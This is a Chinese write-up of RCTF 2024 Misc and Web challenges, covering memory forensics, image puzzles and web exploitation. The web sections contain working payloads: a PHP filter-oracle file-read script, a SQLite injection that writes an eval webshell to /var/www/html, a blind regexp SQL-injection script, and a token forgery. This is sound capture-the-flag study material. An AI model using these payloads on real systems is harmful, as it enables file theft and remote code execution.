2024 RCTF WebMisc部分 WP

Misc

gogogo

考点:内存取证
得到 gogogo.raw 内存取证的题用volatility和AXIOM结合分析
AXIOM 分析存在云服务 但是百度网盘要密码
https://pan.baidu.com/share/init?surl=ZllFd8IK-oHvTCYl61_7Kw
image.png

发现访问过sqlite数据库 可以尝试提取数据库文件出来
image.png
结合 volatility 第一步先看 粘贴板
vol.py -f gogogo.raw --profile=Win7SP0x86 clipboard
image.png
cwqs 猜测可能是百度网盘密码
image.png

得到 pwn=?.zip 但是还有密码 缺少关键信息
提取 places.sqlite数据库文件
扫描:vol.py -f gogogo.raw --profile=Win7SP0x86 filescan |grep "places.sqlite"
image.png
提取sqlite文件
vol.py -f gogogo.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007f634f80 -D ./
打开 数据库文件 发现在moz_place 发现访问网址

image.png

访问 https://space.bilibili.com/3546644702301067
image.png

提示pwd=uid uid=3546644702301067
这个是压缩包密码
打开后为 flag.zip 和键盘流量lqld.pcapng
直接 usb流量一把梭
image.png

niuo ybufmefhui kjqillxdjwmi uizebuui 
dvoo 
udpn uibuui jqybdm vegeyisi 
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi 
zvjnybufme hkwjdeggma 
na mimajqueviig 
kyllda doqisl ba 
pnynqrpn 
qrxcxxzimu 

输入法拼音双键联想 注意na mima
注意

na mimajqueviig 那密码就设置成
kyllda doqisl ba 快来打夺旗赛吧

"那密码就确定为,快来打夺旗赛吧"
密码是 kuailaidaduoqisaiba
打开直接就是flag
RCTF{wo_shen_me_dou_hui_zuo_de}

sec-image

考点: 光栅图
image.png
曾哥写过自动化工具一款CTFer专属的光栅图碰撞全自动化脚本
这个工具有两个参数 -x -y

-x XCOORDINATE  自动读取图片并尝试爆破横向光栅图
-y YCOORDINATE  自动读取图片并尝试爆破纵向光栅图

根据已知信息 flag RCTF{xxxxx}倒推找规律

flag0
-x R(T) C(F) 最明显的是一组的作为划分标准
-y 此时的2-1 是RC 2-2是TF	2-1对应1,2位 2-2对应3,4位
flag1:{c4b
flag2:af0e
依次类推

但是难免有些图片 实在是模糊不清
这个时候就用stegsolve 辅助判断
image.png

RCTF{c4baf0eb-e5ca-543a-06d0-39d72325a0}

FindAHacker

内存取证 查看Desktop文件内容
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 filescan | grep "Desktop"
在这里插入图片描述

发现存在ida 逆向临时数据库
检查 进程
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 pslist
image.png

提取 内存文件
vol.py -f Windows_7_x64_52Pojie_2-Snapshot2.vmem --profile Win7SP1x64 memdump -p 2172 -D ./
修改后缀位data用 gimp打开后
image.png

调了半天没有找到那一帧
不管了直接借用其他WP的图
image.png
不太懂逆向 xor数据后就是flag

mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]
enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]
flag=[]
for i in range(len(mmm)):flag.append(chr(mmm[i]^enc[i]))
flag=''.join(flag)
print("RCTF{"+flag+"}")

image.png
RCTF{90ec9629946830c32157ac9b1ff8656f}

Web

color

做了反调试 直接ctrl+F8 停用断点 或者直接手动禁用
当时写了个自动化找不同xpath的脚本(就是找色差)

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import timedriver = webdriver.Chrome()driver.get('http://124.71.164.28:10088/')time.sleep(60)start_button = WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))
)
start_button.click()i = 0while True:try:i = i + 1boxes = WebDriverWait(driver, 10).until(EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*')))found = Falsefor i in range(len(boxes) - 1):if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):boxes[i].click()else:boxes[i + 1].click()found = Truebreakif not found:if len(boxes) > 1:boxes[-1].click()t2 = time.time()except Exception as e:print(f"An error occurred: {e}")time.sleep(20)continueprint("Done")

但是即使是自动化 也存在可见的延迟
当时做题时没有注意,认为是后端的延迟(但是实际是前端的)
不是只有60s吗 时间是减少的 可以让时间增加 使它逻辑相反
逆了下它关键的加密逻辑 但是想简化问题

const CryptoJS = require('crypto-js');function _0x443f31(_0x1de1a8) {var _0x1de1a8 = 'checkImage';var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";var _0xdc28e0 = "41cd57f2d55398e9";return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),mode: CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7}).toString();
}console.log(_0x443f31());
//xEt6B2i+YJdcrJ/RG3Ie4Q==

所以直接js逆向改变其代码逻辑
游戏时间不是只有60s 吗 令他时间增加不就行了

tick: function () {if (this._pause) {return undefined;} else {this.time++;if (this.time < 6) {_0x4b69a3.time.addClass("danger");}if(this.time>1200){this.gameOver();return;}if (this.time < 0) {this.gameOver();return;} else {_0x4b69a3.time.text(parseInt(this.time));return;}}

修改代码逻辑 使时间增加 到1200 进入gameover结算即可
image.png
时间增加成功
结合自动化的脚本
现在就等1200s秒后就可以拿提示了
拿到路由/secr3tcolor.zip 可以得到源码
dockerfile中直接提示flag 在 /flag.txt中
image.png

就是已知flag的位置 要想办法读取文件
看看 game.php

else if($action === "checkImage"){try {$upload_image = file_get_contents($_FILES["image"]["tmp_name"]);echo getimagesize($upload_image);

echo+文件处理流函数
直接考虑 php filter Oracle 测信道 任意文件读取
参考:https://xz.aliyun.com/t/12939
被影响的函数包含 getimagesize
image.png
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
简单改下poc即可 改变其 req函数

def req(s):data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}string_content = f"php://filter/{s}/resource=/flag.txt"files = {'image': string_content}res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)return 'Fatal' in res.text

注意一下原来的poc是通过 http状态码 500 判断测信道
但是实际上 只要 php 内存溢出了 就会有报错

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6

可以从其中顺便找个 关键词 作为判断的标准即可
比如我这里是用 Fatal
image.png
header头就是编码方式
可以根据 自己的需求 改它的poc即可
image.png
RCTF{Color_Col0r_C0lor}

赛后看了看其他WP 既然是前端做的延迟那么直接敲掉 delay就可以了
后自动化脚本也是可以的
但是试了一下不太可能 一秒如何跑8次左右 还要考虑网络本身和脚本的延迟 没有成功
image.png

proxy

考点 :sqlite注入

public function execMultiSQL($arysql){try{$this->dm_handler->beginTransaction();foreach($arysql as $asql){$result=$this->dm_handler->exec($asql);}#只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库$this->dm_handler->commit();return TRUE;}catch(PDOException $exception) {$this->dm_handler->rollBack();return FALSE;}}

其实 这道就是考如何闭合sql语句 写到数据库中

$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";$arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";#闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-$arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";#直接将其嵌入到 SQL 语句$arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";$DbObj->execMultiSQL($arysql);

但是测试了非常久 最终 还是能同时闭合前面 但是绕不过最后一个
同时闭合所有sql语句 这个思路是看样子是走不通了
查找 sqlite教程 SQLite 事务(Transaction)发现存在COMMIT命令
https://www.runoob.com/sqlite/sqlite-transaction.html

COMMIT 命令COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。COMMIT 命令的语法如下:COMMIT;orEND TRANSACTION;

居然可以无视报错直接提交COMMIT到数据库保存
结合sqlite注入写shell的文章 其中的poc一把梭就是
https://xz.aliyun.com/t/8627

');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');COMMIT;--+-

image.png
直接写shell是成功的
image.png
RCTF{ok_you_are_win_this_sql_game}

赛后看了看其他的WP 发现正解该是利用Proxy.php
$http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
伪造$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT']
作为HTTP头传递
比赛时特别考虑过 但是没有内容就认为不是这个思路
image.png
但是没想到居然可以利用Proxy.php
image.png
的确可以拿到请求 以后就用nc判断了…
那么我们只需要闭合最后的sql语句即可

 VALUES('".$ProxyObj->body."')";

其他前面的sql一定是闭合的
直接用先知的文章打payload,简单闭合就可以了

<?phpecho "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";?>

image.png
一个小问题:
如果我们访问poc.php返回

a');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('');--

VALUES ('');的值为空 是没有写进去吗?
本地看了一下是写进去了

image.png
RCTF{ok_you_are_win_this_sql_game}

what_is_love

存在黑名单 要进行绕过

db.query("CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)");db.query("INSERT INTO key1 (love_key) VALUES('RCTF{key1')"//向 key1表中插入 love_key的值

存在表名 key1 字段为 love_key
黑名单相当于禁用了

/SELECT|CREATE|TABLE|DATABASE|IF|\(|\)|INSERT|UPDATE|DELETE|AND|OR|\.\./|\./|UNION|INTO|LOAD_FILE|OUTFILE|DUMPFILE|SUB|HEX|NOW|CURRENT_TIMESTAMP|GETDATE|SLEEP|SUBSTRING|MID|LEFT|RIGHT|ASCII|CHAR|REPEAT|REPLICATE|LIKE|%/gi
 let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {//很显然我们不知道love_key的具体值if (err) {res.send("error");} else if (results.length > 0) {res.send("success");//布尔盲注} else {res.send("wrong");}

这是一道非常典型的布尔盲注
但是要注意的是 这道题将select过滤了 我们无法进行任何查询操作
但是 love_key 就是我们要求的第一段flag
完全可以直接 通过 正则匹配查询想要的数据 通过布尔盲注判断即可
flag 1 必然是RCTF开头的可以验证一下

image.png
通过正则匹配开头是 R 可以验证思路是正确的
编写脚步(注意 --+- 只能用于GET )

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'
flag=""
while True:for i in strs:data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}res=requests.post(url=url,data=data)if "success" in res.text:flag+=iprint(flag)

但是同时 由于源码限制 key1.length > 52
image.png
RCTF{THE_FIRST_STEP 第一段flag不完全
直接倒着匹配flag 1

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'
flag=""
while True:for i in strs:#data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}data={"key1":f"1' || love_key regexp binary '{i+flag}$'#"}res=requests.post(url=url,data=data)if "success" in res.text:flag=i+flagprint(flag)

image.png
P_IS_TO_GET_TO_KNOW
flag 1就是 RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW

如果我们不按照它期望传入一个数字 而是字符串
userInfo.love_time = Number(love_time); 将返回 NAN
在此时的加密中

const createToken = (userinfo) => {const saltedSecret =parseInt(Buffer.from(secret).readBigUInt64BE()) +parseInt(userinfo.love_time);const data = JSON.stringify(userinfo);return (Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`));};

直接和随机生成的secret 拼接
image.png

那么此时的
${data}:{"username":"J1rrY","love_time":null,"have_lovers":false}
${saltedSecret}:secret+NAN
尝试输出此时的 saltedSecret

const crypto = require("crypto");
const secret = crypto.randomBytes(128);
love_time=null
const saltedSecret =parseInt(Buffer.from(secret).readBigUInt64BE()) +parseInt(love_time);
console.log(saltedSecret);

会发现始终是一个定值 NaN
image.png
这说明一个事实 只要 "love_time"为 null saltedSecret就一定是 NaN 是一个定值
已知加密逻辑直接伪造加密就是了

const crypto = require("crypto");const secret = crypto.randomBytes(128);const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");userinfo={"username":"J1rrY","love_time":null,"have_lovers":true}const saltedSecret =NaN;console.log(saltedSecret)const data = JSON.stringify(userinfo);console.log(data)console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))

image.png

在这里插入图片描述

RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/19445.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

知识库管理系统:是什么、作用、如何搭建

你有没有遇到过这种情况&#xff1a;在工作中想要查找某个信息&#xff0c;查找了很多个文档还是没找到准确的信息&#xff1b;或者在团队中&#xff0c;总是在重复做着相同的资料搜集工作&#xff0c;浪费了大量时间和精力&#xff1f;如果你在烦恼这个问题&#xff0c;那么跟…

替换字符串

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 sub()方法用于实现字符串替换&#xff0c;语法格式如下&#xff1a; re.sub(pattern, repl, string, count, flags) 参数说明&#xff1a; l pat…

软件测试可发现所有bug吗?有什么样的原则和目的?

在今天的高度数字化时代&#xff0c;软件测试的重要性不可忽视。这是一种系统性的过程&#xff0c;通过对软件系统进行评估和验证&#xff0c;以确定其是否满足预期要求。在软件开发的各个阶段&#xff0c;软件测试都扮演着至关重要的角色。它涉及到软件功能、性能、安全性等多…

在CentOS系统上安装Oracle JDK(华为镜像)

在CentOS系统上安装Oracle JDK(华为镜像) 先爱上自己&#xff0c;再遇见爱情&#xff0c;不庸人自扰&#xff0c;不沉溺过去&#xff0c;不为自己的敏感而患得患失&#xff0c;不为别人的过失而任性&#xff0c;这才是终身浪漫的开始。 https://repo.huaweicloud.com/java/jdk …

C++学习第十一天——vector的模拟实现

✨ 生于火焰&#xff0c;落俗不可避免&#xff0c;但浪漫至死不渝 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 &#x1f680; 欢迎关注&#xff1a;&#x1f44d;点赞 &…

DevExpress开发WPF应用实现对话框总结

说明&#xff1a; 完整代码Github​&#xff08;https://github.com/VinciYan/DXMessageBoxDemos.git&#xff09;DevExpree v23.2.4&#xff08;链接&#xff1a;https://pan.baidu.com/s/1eGWwCKAr8lJ_PBWZ_R6SkQ?pwd9jwc 提取码&#xff1a;9jwc&#xff09;使用Visual St…

基于Spring前后端分离版本的论坛系统-自动化测试

目录 前言 一、测试环境 二、环境部署 三、测试用例 四、执行测试 4.1、公共类设计 创建浏览器驱动对象 测试套件 释放驱动类 4.2、功能测试 注册页面 登录页面 版块 帖子 用户个人中心页 站内信 4.3、界面测试 注册页面 登录页面 版块 帖子 用户个人中心页…

Redis实战篇3:优惠券秒杀

说明 该实战篇基于某马的Redis课程中的《某马点评项目》。非常适合有相关经验、缺少企业级解决方案&#xff0c;或者想要复习的人观看&#xff0c;全篇都会一步一步的推导其为什么要这么做&#xff0c;分析其优缺点&#xff0c;达到能够应用的地步。 本实战篇中心思想就是把项目…

Mariadb操作命令指南

MariaDB简介 ​ 以下内容仅是站长或网友个人学习笔记、总结和研究收藏。不保证正确性&#xff0c;因使用而带来的风险与本站无关&#xff01; 数据库应用程序与主应用程序分开存在&#xff0c;并存储数据集合。 每个数据库都使用一个或多个API来创建&#xff0c;访问&#xf…

分立元件实现稳压

电路原理图 优点&#xff1a;电压精度高&#xff0c;可以调整输出电压 缺点&#xff1a;压差大时效率较低&#xff0c;发热严重。 参考连接 TL431-高效5V精密稳压器-电路知识干货 (qq.com)https://mp.weixin.qq.com/s?__bizMzkxNzIxNTc5OQ&mid2247484878&idx1&…

操作系统教材第6版——个人笔记1

第一章 计算机操作系统概述 操作系统是计算机系统中最重要的系统软件&#xff0c;它统一管理计算机系统的硬件资源与信息资源&#xff0c;控制与调度上层软件的执行并为其提供易于使用的接口。从资源管理、程序控制、操作控制、人机交互、程序接口、系统结构6个角度深入观察操…

Github 如何配置 PNPM 的 CI 环境

最近出于兴趣在写一个前端框架 echox&#xff0c;然后在 Github 上给它配置了最简单的 CI 环境&#xff0c;这里简单记录一下。 特殊目录 首先需要在项目根目录里面创建 Github 仓库中的一个特殊目录&#xff1a;.github/workflows&#xff0c;用于存放 Github Actions 的工作…

269 基于matlab的四连杆机构动力学参数计算

基于matlab的四连杆机构动力学参数计算。将抽油机简化为4连杆机构&#xff0c;仿真出悬点的位移、速度、加速度、扭矩因数、游梁转角等参数&#xff0c;并绘出图形。程序已调通&#xff0c;可直接运行。 269机构动力学参数计算 位移、速度、加速度 - 小红书 (xiaohongshu.com)

段码屏|液晶显示模块|超低功耗LCD驱动芯片

1 简介 PC164S32 是一款支持 128 点 (32 4)显示 的多功能 LCD 控制器芯片&#xff0c;内部存储器RAM数据直接映射到 LCD 显示。可软件配置特性使其适用于包括 LCD 模块和显示子系统在内的多种 LCD 应用。主控制器与 PC164S32接口仅需3 或 4 条线。内置的省电模式极大的降低了功…

我给线程池管理框架hippo4j找bug

1 虚拟机参数不生效 hippo4j的docker启动脚本位于 docker/docker-startup.sh 。从下图可以看到 JAVA_OPT放在了jar包名 hippo4j-server.jar之后&#xff0c;而只有项目参数才放在jar包名之后。 实际上这里JAVA_OPT中包含虚拟机参数&#xff0c;而虚拟机参数要放在jar包名之前…

使用 CNN 训练自己的数据集

CNN&#xff08;练习数据集&#xff09; 1.导包&#xff1a;2.导入数据集&#xff1a;3. 使用image_dataset_from_directory()将数据加载tf.data.Dataset中&#xff1a;4. 查看数据集中的一部分图像&#xff0c;以及它们对应的标签&#xff1a;5.迭代数据集 train_ds&#xff0…

【漏洞复现】DT-高清车牌识别摄像机 任意文件读取漏洞

0x01 产品简介 DT-高清 车牌识别摄像机是一款先进的安防设备&#xff0c;采用高清图像传感器和先进的识别算法&#xff0c;能够精准、快速地识别车牌信息。其高清晰该摄像机结合了智能识别技术&#xff0c;支持实时监宴图像质量确保在各种光照和天气条件下都能准确捕捉车牌信息…

【面试八股总结】MySQL事务:事务特性、事务并行、事务的隔离级别

参考资料&#xff1a;小林coding 一、事务的特性ACID 原子性&#xff08;Atomicity&#xff09; 一个事务是一个不可分割的工作单位&#xff0c;事务中的所有操作&#xff0c;要么全部完成&#xff0c;要么全部不完成&#xff0c;不会结束在中间某个环节。原子性是通过 undo …

C#根据数据量自动排版标签的样例

这是一个C#根据数据量自动排版标签的样例 using System; using System.Collections.Generic; using System.Data.SqlClient; using System.Drawing; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using HslCommuni…

代码随想录算法训练营第四十五天 | 1049. 最后一块石头的重量 II、494. 目标和、474.一和零

1049. 最后一块石头的重量 II 视频讲解&#xff1a; 动态规划之背包问题&#xff0c;这个背包最多能装多少&#xff1f;LeetCode&#xff1a;1049.最后一块石头的重量II_哔哩哔哩_bilibili 代码随想录 解题思路 直接将这一些石头&#xff0c;分为两堆&#xff0c;让他们尽可能…